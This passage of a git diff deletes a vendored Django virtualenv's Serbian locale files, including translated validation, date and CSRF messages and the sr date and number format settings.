"литвански" - -msgid "Latvian" -msgstr "латвијски" - -msgid "Macedonian" -msgstr "македонски" - -msgid "Malayalam" -msgstr "малајаламски" - -msgid "Mongolian" -msgstr "монголски" - -msgid "Marathi" -msgstr "маратхи" - -msgid "Malay" -msgstr "малајски" - -msgid "Burmese" -msgstr "бурмански" - -msgid "Norwegian Bokmål" -msgstr "норвешки књижевни" - -msgid "Nepali" -msgstr "непалски" - -msgid "Dutch" -msgstr "холандски" - -msgid "Norwegian Nynorsk" -msgstr "норвешки нови" - -msgid "Ossetic" -msgstr "осетински" - -msgid "Punjabi" -msgstr "панџаби" - -msgid "Polish" -msgstr "пољски" - -msgid "Portuguese" -msgstr "португалски" - -msgid "Brazilian Portuguese" -msgstr "бразилски португалски" - -msgid "Romanian" -msgstr "румунски" - -msgid "Russian" -msgstr "руски" - -msgid "Slovak" -msgstr "словачки" - -msgid "Slovenian" -msgstr "словеначки" - -msgid "Albanian" -msgstr "албански" - -msgid "Serbian" -msgstr "српски" - -msgid "Serbian Latin" -msgstr "српски (латиница)" - -msgid "Swedish" -msgstr "шведски" - -msgid "Swahili" -msgstr "свахили" - -msgid "Tamil" -msgstr "тамилски" - -msgid "Telugu" -msgstr "телугу" - -msgid "Tajik" -msgstr "Таџики" - -msgid "Thai" -msgstr "тајландски" - -msgid "Turkmen" -msgstr "Туркменски" - -msgid "Turkish" -msgstr "турски" - -msgid "Tatar" -msgstr "татарски" - -msgid "Udmurt" -msgstr "удмуртски" - -msgid "Uyghur" -msgstr "Ујгури" - -msgid "Ukrainian" -msgstr "украјински" - -msgid "Urdu" -msgstr "урду" - -msgid "Uzbek" -msgstr "Узбекистански" - -msgid "Vietnamese" -msgstr "вијетнамски" - -msgid "Simplified Chinese" -msgstr "поједностављени кинески" - -msgid "Traditional Chinese" -msgstr "традиционални кинески" - -msgid "Messages" -msgstr "Poruke" - -msgid "Site Maps" -msgstr "Мапе сајта" - -msgid "Static Files" -msgstr "Статички фајлови" - -msgid "Syndication" -msgstr "Удруживање садржаја" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Задати број стране није цео број" - -msgid "That page number is less than 1" -msgstr "Задати број стране је мањи од 1" - -msgid "That page contains no results" -msgstr "Тражена страна не садржи резултате" - -msgid "Enter a valid value." -msgstr "Унесите исправну вредност." - -msgid "Enter a valid domain name." -msgstr "Унесите исправно име домена." - -msgid "Enter a valid URL." -msgstr "Унесите исправан URL." - -msgid "Enter a valid integer." -msgstr "Унесите исправан цео број." - -msgid "Enter a valid email address." -msgstr "Унесите исправну и-мејл адресу." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Унесите исрпаван „слаг“, који се састоји од слова, бројки, доњих црта или " -"циртица." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Унесите исправан \"слаг\", који се састоји од Уникод слова, бројки, доњих " -"црта или цртица." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Унесите исправну адресу %(protocol)s." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 или IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Унесите само цифре раздвојене запетама." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Ово поље мора да буде %(limit_value)s (тренутно има %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Ова вредност мора да буде мања од %(limit_value)s. или тачно толико." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Ова вредност мора бити већа од %(limit_value)s или тачно толико." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Ова вредност мора да умножак величине корака %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Уверите се да је ова вредност вишекратник величине корака %(limit_value)s, " -"почевши од %(offset)s, нпр. %(offset)s, %(valid_value1)s, %(valid_value2)s, " -"и тако даље." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Ово поље мора да има најмање %(limit_value)d карактер (тренутно има " -"%(show_value)d)." -msgstr[1] "" -"Ово поље мора да има најмање %(limit_value)d карактера (тренутно има " -"%(show_value)d)." -msgstr[2] "" -"Ово поље мора да има најмање %(limit_value)d карактера (тренутно има " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Ово поље не сме да има више од %(limit_value)d карактера (тренутно има " -"%(show_value)d)." -msgstr[1] "" -"Ово поље не сме да има више од %(limit_value)d карактера (тренутно има " -"%(show_value)d)." -msgstr[2] "" -"Ово поље не сме да има више од %(limit_value)d карактера (тренутно има " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Унесите број." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Укупно не може бити више од %(max)s цифре." -msgstr[1] "Укупно не може бити више од %(max)s цифре." -msgstr[2] "Укупно не може бити више од %(max)s цифара." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Не може бити више од %(max)s децимале." -msgstr[1] "Не може бити више од %(max)s децимале." -msgstr[2] "Не може бити више од %(max)s децимала." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Не може бити више од %(max)s цифре пре децималног зареза." -msgstr[1] "Не може бити више од %(max)s цифре пре децималног зареза." -msgstr[2] "Не може бити више од %(max)s цифара пре децималног зареза." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Екстензија датотеке \"%(extension)s\" није дозвољена. Дозвољене су следеће " -"екстензије: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "'Null' карактери нису дозвољени." - -msgid "and" -msgstr "и" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s са пољем %(field_labels)s већ постоји." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Ограничење „%(name)s“ је прекршено." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Вредност %(value)r није валидна." - -msgid "This field cannot be null." -msgstr "Ово поље не може бити 'null'." - -msgid "This field cannot be blank." -msgstr "Ово поље не може да остане празно." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s са пољем %(field_label)s већ постоји." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s мора бити јединствен(a) за %(date_field_label)s " -"%(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Поље типа: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Вредност \"%(value)s\" мора бити True или False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "\"%(value)s\" вредност мора бити True, False или None." - -msgid "Boolean (Either True or False)" -msgstr "Булова вредност (True или False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Стринг са макс. дужином %(max_length)s" - -msgid "String (unlimited)" -msgstr "Стринг (неограниченo)" - -msgid "Comma-separated integers" -msgstr "Цели бројеви раздвојени запетама" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Вредност \"%(value)s\" нема исправан формат датума. Мора бити у формату ГГГГ-" -"ММ-ДД." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Вредност \"%(value)s\" има исправан формат (ГГГГ-ММ-ДД) али то није исправан " -"датум." - -msgid "Date (without time)" -msgstr "Датум (без времена)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Вредност \"%(value)s\" нема исправан формат. Мора бити у формату ГГГГ-ММ-ДД " -"ЧЧ:ММ[:сс[.uuuuuu]][TZ] ." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Вредност \"%(value)s\" има исправан формат (ГГГГ-ММ-ДД ЧЧ:ММ[:сс[.uuuuuu]]" -"[TZ]) али то није исправан датум/време." - -msgid "Date (with time)" -msgstr "Датум (са временом)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Вредност \"%(value)s\" мора бити децимални број." - -msgid "Decimal number" -msgstr "Децимални број" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Вредност \"%(value)s\" нема исправан формат. Мора бити у формату [ДД] [ЧЧ:" -"[ММ:]]сс[.uuuuuu]." - -msgid "Duration" -msgstr "Временски интервал" - -msgid "Email address" -msgstr "Имејл адреса" - -msgid "File path" -msgstr "Путања фајла" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Вредност \"%(value)s\" мора бити број са покретним зарезом." - -msgid "Floating point number" -msgstr "Број са покретним зарезом" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Вредност \"%(value)s\" мора бити цео број." - -msgid "Integer" -msgstr "Цео број" - -msgid "Big (8 byte) integer" -msgstr "Велики (8 бајтова) цео број" - -msgid "Small integer" -msgstr "Мали цео број" - -msgid "IPv4 address" -msgstr "IPv4 адреса" - -msgid "IP address" -msgstr "IP адреса" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Вредност \"%(value)s\" мора бити None, True или False." - -msgid "Boolean (Either True, False or None)" -msgstr "Булова вредност (True, False или None)" - -msgid "Positive big integer" -msgstr "Велик позитиван цео број" - -msgid "Positive integer" -msgstr "Позитиван цео број" - -msgid "Positive small integer" -msgstr "Позитиван мали цео број" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Слаг са макс. дужином %(max_length)s" - -msgid "Text" -msgstr "Текст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Вредност \"%(value)s\" нема исправан формат. Мора бити у формату ЧЧ:ММ[:сс[." -"uuuuuu]] ." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Вредност \"%(value)s\" има исправан формат (ЧЧ:ММ[:сс[.uuuuuu]]) али то није " -"исправно време." - -msgid "Time" -msgstr "Време" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Сирови бинарни подаци" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\" није исправан UUID." - -msgid "Universally unique identifier" -msgstr "Универзално јединствени идентификатор" - -msgid "File" -msgstr "Фајл" - -msgid "Image" -msgstr "Слика" - -msgid "A JSON object" -msgstr "JSON објекат" - -msgid "Value must be valid JSON." -msgstr "Вредност мора бити исправан JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "%(model)s инстанца са %(field)s %(value)r није исправан избор." - -msgid "Foreign Key (type determined by related field)" -msgstr "Спољни кључ (тип је одређен асоцираном колоном)" - -msgid "One-to-one relationship" -msgstr "Релација један на један" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Релација %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Релације %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Релација више на више" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Ово поље се мора попунити." - -msgid "Enter a whole number." -msgstr "Унесите цео број." - -msgid "Enter a valid date." -msgstr "Унесите исправан датум." - -msgid "Enter a valid time." -msgstr "Унесите исправно време" - -msgid "Enter a valid date/time." -msgstr "Унесите исправан датум/време." - -msgid "Enter a valid duration." -msgstr "Унесите исправан временски интервал." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Број дана мора бити између {min_days} и {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Фајл није пребачен. Проверите тип енкодирања на форми." - -msgid "No file was submitted." -msgstr "Фајл није пребачен." - -msgid "The submitted file is empty." -msgstr "Пребачени фајл је празан." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Име фајла не може имати више од %(max)d карактера (тренутно има %(length)d)." -msgstr[1] "" -"Име фајла не може имати више од %(max)d карактера (тренутно има %(length)d)." -msgstr[2] "" -"Име фајла не може имати више од %(max)d карактера (тренутно има %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Може се само послати фајл или избрисати, не оба." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Пребаците исправан фајл. Фајл који је пребачен или није слика, или је " -"оштећен." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"%(value)s није међу понуђеним вредностима. Одаберите једну од понуђених." - -msgid "Enter a list of values." -msgstr "Унесите листу вредности." - -msgid "Enter a complete value." -msgstr "Унесите комплетну вредност." - -msgid "Enter a valid UUID." -msgstr "Унесите исправан UUID." - -msgid "Enter a valid JSON." -msgstr "Унесите исправан JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Скривено поље %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Подаци од ManagementForm недостају или су покварени. Поља која недостају: " -"%(field_names)s. Можда ће бити потребно да пријавите грешку ако се проблем " -"настави." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Молим проследите највише %(num)d форму." -msgstr[1] "Молим проследите највише %(num)d форме." -msgstr[2] "Молим проследите највише %(num)d форми." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Молим проследите најмање %(num)d форму." -msgstr[1] "Молим проследите најмање %(num)d форме." -msgstr[2] "Молим проследите најмање %(num)d форми." - -msgid "Order" -msgstr "Редослед" - -msgid "Delete" -msgstr "Обриши" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Исправите вредност за поље %(field)s - оно мора бити јединствено." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Исправите вредности за поља %(field)s - њихова комбинација мора бити " -"јединствена." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Иправите вредност за поље %(field_name)s, оно мора бити јединствено за " -"%(lookup)s у %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Исправите дуплиране вредности доле." - -msgid "The inline value did not match the parent instance." -msgstr "Директно унета вредност не одговара инстанци родитеља." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Одабрана вредност није међу понуђенима. Одаберите једну од понуђених." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" није исправна вредност." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"Време %(datetime)s се не може протумачити у временској зони " -"%(current_timezone)s; можда је двосмислено или не постоји." - -msgid "Clear" -msgstr "Очисти" - -msgid "Currently" -msgstr "Тренутно" - -msgid "Change" -msgstr "Измени" - -msgid "Unknown" -msgstr "Непознато" - -msgid "Yes" -msgstr "Да" - -msgid "No" -msgstr "Не" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "да,не,можда" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d бајт" -msgstr[1] "%(size)d бајта" -msgstr[2] "%(size)d бајтова" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "по п." - -msgid "a.m." -msgstr "пре п." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "поноћ" - -msgid "noon" -msgstr "подне" - -msgid "Monday" -msgstr "понедељак" - -msgid "Tuesday" -msgstr "уторак" - -msgid "Wednesday" -msgstr "среда" - -msgid "Thursday" -msgstr "четвртак" - -msgid "Friday" -msgstr "петак" - -msgid "Saturday" -msgstr "субота" - -msgid "Sunday" -msgstr "недеља" - -msgid "Mon" -msgstr "пон." - -msgid "Tue" -msgstr "уто." - -msgid "Wed" -msgstr "сре." - -msgid "Thu" -msgstr "чет." - -msgid "Fri" -msgstr "пет." - -msgid "Sat" -msgstr "суб." - -msgid "Sun" -msgstr "нед." - -msgid "January" -msgstr "јануар" - -msgid "February" -msgstr "фебруар" - -msgid "March" -msgstr "март" - -msgid "April" -msgstr "април" - -msgid "May" -msgstr "мај" - -msgid "June" -msgstr "јун" - -msgid "July" -msgstr "јул" - -msgid "August" -msgstr "август" - -msgid "September" -msgstr "септембар" - -msgid "October" -msgstr "октобар" - -msgid "November" -msgstr "новембар" - -msgid "December" -msgstr "децембар" - -msgid "jan" -msgstr "јан." - -msgid "feb" -msgstr "феб." - -msgid "mar" -msgstr "мар." - -msgid "apr" -msgstr "апр." - -msgid "may" -msgstr "мај." - -msgid "jun" -msgstr "јун." - -msgid "jul" -msgstr "јул." - -msgid "aug" -msgstr "ауг." - -msgid "sep" -msgstr "сеп." - -msgid "oct" -msgstr "окт." - -msgid "nov" -msgstr "нов." - -msgid "dec" -msgstr "дец." - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Јан." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Феб." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Март" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Април" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Мај" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Јун" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Јул" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Авг." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Септ." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Окт." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Нов." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Дец." - -msgctxt "alt. month" -msgid "January" -msgstr "Јануар" - -msgctxt "alt. month" -msgid "February" -msgstr "Фебруар" - -msgctxt "alt. month" -msgid "March" -msgstr "Март" - -msgctxt "alt. month" -msgid "April" -msgstr "Април" - -msgctxt "alt. month" -msgid "May" -msgstr "Мај" - -msgctxt "alt. month" -msgid "June" -msgstr "Јун" - -msgctxt "alt. month" -msgid "July" -msgstr "Јул" - -msgctxt "alt. month" -msgid "August" -msgstr "Август" - -msgctxt "alt. month" -msgid "September" -msgstr "Септембар" - -msgctxt "alt. month" -msgid "October" -msgstr "Октобар" - -msgctxt "alt. month" -msgid "November" -msgstr "Новембар" - -msgctxt "alt. month" -msgid "December" -msgstr "Децембар" - -msgid "This is not a valid IPv6 address." -msgstr "Ово није валидна IPv6 адреса." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "или" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d година" -msgstr[1] "%(num)d године" -msgstr[2] "%(num)d година" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d месец" -msgstr[1] "%(num)d месеца" -msgstr[2] "%(num)d месеци" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d недеља" -msgstr[1] "%(num)d недеље" -msgstr[2] "%(num)d недеља" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d дан" -msgstr[1] "%(num)d дана" -msgstr[2] "%(num)d дана" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d сат" -msgstr[1] "%(num)d сата" -msgstr[2] "%(num)d сати" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d минут" -msgstr[1] "%(num)d минута" -msgstr[2] "%(num)d минута" - -msgid "Forbidden" -msgstr "Забрањено" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF верификација није прошла. Захтев одбијен." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Ова порука је приказана јер овај HTTPS сајт захтева да \"Referer header\" " -"буде послат од стране вашег интернет прегледача, што тренутно није случај. " -"Поменуто заглавље је потребно из безбедоносних разлога, да би се осигурало " -"да ваш прегледач није под контролом трећих лица." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Ако сте подесили интернет прегледач да не шаље \"Referer\" заглавља, поново " -"их укључите, барем за овај сајт, или за HTTPS конекције, или за \"same-" -"origin\" захтеве." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Ако користите таг или " -"\"Referrer-Policy: no-referrer\" заглавље, молимо да их уклоните. CSRF " -"заштита захтева \"Referer\" заглавље да би се обавила стриктна \"referrer\" " -"провера. Уколико вас брине приватност, користите алтернативе као за линкове ка другим сајтовима." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Ова порука је приказана јер овај сајт захтева CSRF куки када се прослеђују " -"подаци из форми. Овај куки је потребан из сигурносних разлога, да би се " -"осигурало да ваш претраживач није под контролом трећих лица." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Ако је ваш интернет прегедач подешен да онемогући колачиће, молимо да их " -"укључите, барем за овај сајт, или за \"same-origin\" захтеве." - -msgid "More information is available with DEBUG=True." -msgstr "Више информација је доступно са DEBUG=True." - -msgid "No year specified" -msgstr "Година није назначена" - -msgid "Date out of range" -msgstr "Датум ван опсега" - -msgid "No month specified" -msgstr "Месец није назначен" - -msgid "No day specified" -msgstr "Дан није назначен" - -msgid "No week specified" -msgstr "Недеља није назначена" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Недоступни објекти %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Опција „future“ није доступна за „%(verbose_name_plural)s“ јер " -"%(class_name)s.allow_future има вредност False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Неисправан датум „%(datestr)s“ за формат „%(format)s“" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Ниједан објекат класе %(verbose_name)s није нађен датим упитом." - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Страница није последња, нити може бити конвертована у тип \"int\"." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Неисправна страна (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Празна листа и „%(class_name)s.allow_empty“ има вредност False." - -msgid "Directory indexes are not allowed here." -msgstr "Индекси директоријума нису дозвољени овде." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "„%(path)s“ не постоји" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Индекс директоријума %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Инсталација је прошла успешно. Честитке!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Погледајте напомене уз издање за Ђанго " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Ова страна је приказана јер је DEBUG=True у вашим подешавањима и нисте конфигурисали " -"ниједан URL." - -msgid "Django Documentation" -msgstr "Ђанго документација" - -msgid "Topics, references, & how-to’s" -msgstr "Теме, референце, & како-да" - -msgid "Tutorial: A Polling App" -msgstr "Упутство: апликација за гласање" - -msgid "Get started with Django" -msgstr "Почните са Ђангом" - -msgid "Django Community" -msgstr "Ђанго заједница" - -msgid "Connect, get help, or contribute" -msgstr "Повежите се, потражите помоћ или дајте допринос" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/sr/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sr/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 0ffb9f0d..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sr/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sr/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index e4f7504e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sr/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/sr/formats.py deleted file mode 100644 index 423f86d7..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sr/formats.py +++ /dev/null @@ -1,44 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. F Y." -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. F Y. H:i" -YEAR_MONTH_FORMAT = "F Y." -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "j.m.Y." -SHORT_DATETIME_FORMAT = "j.m.Y. H:i" -FIRST_DAY_OF_WEEK = 1 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y.", # '25.10.2006.' - "%d.%m.%y.", # '25.10.06.' - "%d. %m. %Y.", # '25. 10. 2006.' - "%d. %m. %y.", # '25. 10. 06.' - # "%d. %b %y.", # '25. Oct 06.' - # "%d. %B %y.", # '25. October 06.' - # "%d. %b '%y.", # '25. Oct '06.' - # "%d. %B '%y.", # '25. October '06.' - # "%d. %b %Y.", # '25. Oct 2006.' - # "%d. %B %Y.", # '25. October 2006.' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y. %H:%M:%S", # '25.10.2006. 14:30:59' - "%d.%m.%Y. %H:%M:%S.%f", # '25.10.2006. 14:30:59.000200' - "%d.%m.%Y. %H:%M", # '25.10.2006. 14:30' - "%d.%m.%y. %H:%M:%S", # '25.10.06. 14:30:59' - "%d.%m.%y. %H:%M:%S.%f", # '25.10.06. 14:30:59.000200' - "%d.%m.%y. %H:%M", # '25.10.06. 14:30' - "%d. %m. %Y. %H:%M:%S", # '25. 10. 2006. 14:30:59' - "%d. %m. %Y. %H:%M:%S.%f", # '25. 10. 2006. 14:30:59.000200' - "%d. %m. %Y. %H:%M", # '25. 10. 2006. 14:30' - "%d. %m. %y. %H:%M:%S", # '25. 10. 06. 14:30:59' - "%d. %m. %y. %H:%M:%S.%f", # '25. 10. 06. 14:30:59.000200' - "%d. %m. %y. %H:%M", # '25. 10. 06. 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/sr_Latn/LC_MESSAGES/django.mo deleted file mode 100644 index 